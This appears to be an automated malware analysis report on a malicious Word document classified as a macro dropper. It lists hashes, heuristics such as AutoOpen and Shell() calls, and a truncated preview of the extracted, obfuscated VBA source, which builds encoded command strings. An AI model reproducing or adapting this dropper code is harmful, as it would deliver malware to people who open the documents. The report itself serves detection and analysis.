Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 02c97c7cfa6fa182…

MALICIOUS

Office (OLE)

109.5 KB Created: 2018-06-24 20:56:00 Authoring application: Microsoft Office Word First seen: 2019-05-16
MD5: 5f73269a632986304114e57d3eb98b53 SHA-1: fb222d6c7b0f99612d5da76e0e0479b5d196590e SHA-256: 02c97c7cfa6fa18281256b83b09b0457d667c095c64bdcdab009cefaeed524a5
242 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is identified as malicious by ClamAV and exhibits critical heuristic firings for VBA macros, including the use of the Shell() function and an AutoOpen macro. The VBA script, though obfuscated, contains string concatenations that likely form a command or URL for downloading a payload. The presence of an AutoOpen macro and the Shell() call strongly suggest an attempt to execute arbitrary code upon opening the document.

Heuristics 7

  • ClamAV: Doc.Dropper.Agent-6589939-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6589939-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • Shell() call in VBA critical OLE_VBA_SHELL
    Shell() call in VBA
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 13328 bytes
SHA-256: 293ccd6b9038d1e8617163467582bbdb1d5e8e1e79e28ac2c970ab42118a1451
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "QdITzZNNNA"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "rZtivMUjWOuUm"
Function KWACFXA()
On Error Resume Next
nYIJB = (83882 / CBool(13470) + 98870 + CSng(cdFWKo) * (2595 - EIKZj + 85222 - CLng(RNCfob)))
PdGXR = CByte(76300 * Tan(46820) / 63546 + CLng(FYhZZk * 62571 * 26292 * Chr(70360)))
nVbNc = "He" + "ll" + "  " + Chr(40) + "'2" + "5X71X91" + "!12" + "6!0" + "_8"
pvjHZG = CByte(78523 * Tan(39880) / 31705 + CLng(SfspiN * 44041 * 96294 * Chr(21647)))
UcIol = (14007 / CBool(61825) + 40818 + CSng(oobKKb) * (27484 - PmXNpX + 59284 - CLng(BwSNj)))
iOZLfOjJ = "3<" + "88" + "q74_16<8" + "2{" + "95" + "!87"
CYPOh = CByte(70879 * Tan(54401) / 38626 + CLng(EjHXLU * 71626 * 80438 * Chr(97572)))
QaNvi = (9820 / CBool(57480) + 70600 + CSng(INHLHz) * (61309 - DCHmuW + 73400 - CLng(JipZnb)))
RkzuSw = "<88{9" + "4}7" + "3j2" + "9T115{88" + "{73{19j1"
aEIYwD = CByte(88035 * Tan(20060) / 12540 + CLng(Gtotma * 60671 * 12472 * Chr(63937)))
TwDVVE = (52486 / CBool(99918) + 41532 + CSng(oLzhsE) * (75270 - kwtbhi + 67068 - CLng(OOkot)))
kiqmLt = "06j88" + "{95" + "!126{81" + "{84T88" + "E83j73j" + "6_" + "25X77j7" + "7}100j0" + "q26X85" + "T73X7" + "3_"
idHzua = CByte(28986 * Tan(32137) / 20952 + CLng(QiVtV * 50113 * 23311 * Chr(447)))
FAprOZ = (74048 / CBool(21171) + 79442 + CSng(Pjhok) * (86200 - TFkwa + 83757 - CLng(UoppY)))
WWDwdWDk = "77_7!18<" + "18_74X" + "74}" + "74T"
KWACFXA = nVbNc + iOZLfOjJ + RkzuSw + kiqmLt + WWDwdWDk
pjinWc = CByte(20295 * Tan(8801) / 30830 + CLng(itlpT * 92334 * 39145 * Chr(29802)))
tBMAz = (90955 / CBool(59062) + 17531 + CSng(WZjwmA) * (57888 - YhtJdI + 16252 - CLng(TPFznu)))
End Function
Function UnZOlR()
On Error Resume Next
iEtzji = CByte(27411 * Tan(88398) / 36264 + CLng(jYqFp * 33882 * 77445 * Chr(92060)))
BiGwQt = (7235 / CBool(39107) + 56981 + CSng(ZLsczu) * (30181 - NHJOc + 57121 - CLng(vOXqzT)))
bJOipIpvYn = "19_94_82" + "T77X" + "73<84!9"
iuvfia = CByte(60761 * Tan(13120) / 92388 + CLng(ctPmi * 5670 * 22903 * Chr(3716)))
nGIZm = (3309 / CBool(55380) + 11648 + CSng(ijddM) * (78105 - nizKhu + 37795 - CLng(AhEnmF)))
NfsYEU = "4{77}82" + "T7" + "7T8" + "8<19" + "{82{79_" + "90" + "E18E10<" + "83_126}1" + "09T10" + "8X79}18" + "T1" + "25"
slJENt = CByte(18608 * Tan(47861) / 73415 + CLng(HGBwQI * 58554 * 63905 * Chr(77410)))
BjokWt = (75161 / CBool(37267) + 47391 + CSng(zpTPh) * (95972 - ihKCIb + 6380 - CLng(FAECW)))
hnZsoWzYXG = "X85_73" + "}7" + "3{77<7!1" + "8{18<7"
OaKNt = CByte(66522 * Tan(21045) / 12623 + CLng(dHtIq * 8419 * 51349 * Chr(87830)))
UirbtH = (72309 / CBool(61785) + 32685 + CSng(iQCaEE) * (18374 - UEZJu + 37358 - CLng(BaEowW)))
THoOoobfzM = "4}88" + "}75j8" + "4T86}19" + "}85q" + "72X1" + "8q82X" + "92!89E86" + "!126E"
zzKbz = CByte(4985 * Tan(19576) / 57689 + CLng(zdVCT * 49264 * 52586 * Chr(72232)))
zTNkV = (20787 / CBool(69342) + 46211 + CSng(rjjrUW) * (21947 - bQrKa + 99725 - CLng(vwBBL)))
istKkK = "76!18" + "E125{8" + "5X73!73T" + "77_" + "7E18" + "E18X87}" + "92q86j88" + "}84}" + "83"
UnZOlR = bJOipIpvYn + NfsYEU + hnZsoWzYXG + THoOoobfzM + istKkK
KOiNR = CByte(39361 * Tan(80028) / 16886 + CLng(ZiKpfq * 90157 * 16781 * Chr(53551)))
WzncJC = (3017 / CBool(46817) + 38063 + CSng(oZJiNa) * (90156 - VQWTBY + 43706 - CLng(NoYjo)))
End Function
Function kcbIwT()
On Error Resume Next
wIvPpz = CByte(53622 * Tan(35026) / 5183 + CLng(zUNYv * 98734 * 41275 * Chr(32164)))
sFVQC = (91883 / CBool(28475) + 11184 + CSng(oMAmLU) * (28661 - DzJarN + 80131 - CLng(lqjrbT)))
sKpVMkj = "T90}" + "81_8" + "8j78j19" + "E94!82<" + "80j" + "18X1" + "06{14q" + "94!74_18" + "}125E85" + "{73T73" + "}7" + "7E7!18_"
NajcWd = CByte(20901 * Tan(90887) / 43773 + CLng(iKMXz * 61351 * 98906 * Chr(63797)))
qJSzAs = (61248 / CBool(36568) + 33880 + CSng(fORVj) * (7145 - PFZzcj + 12871 - CLng(usbYp)))
BKjarMc = "18}74E" + "74{74
... (truncated)

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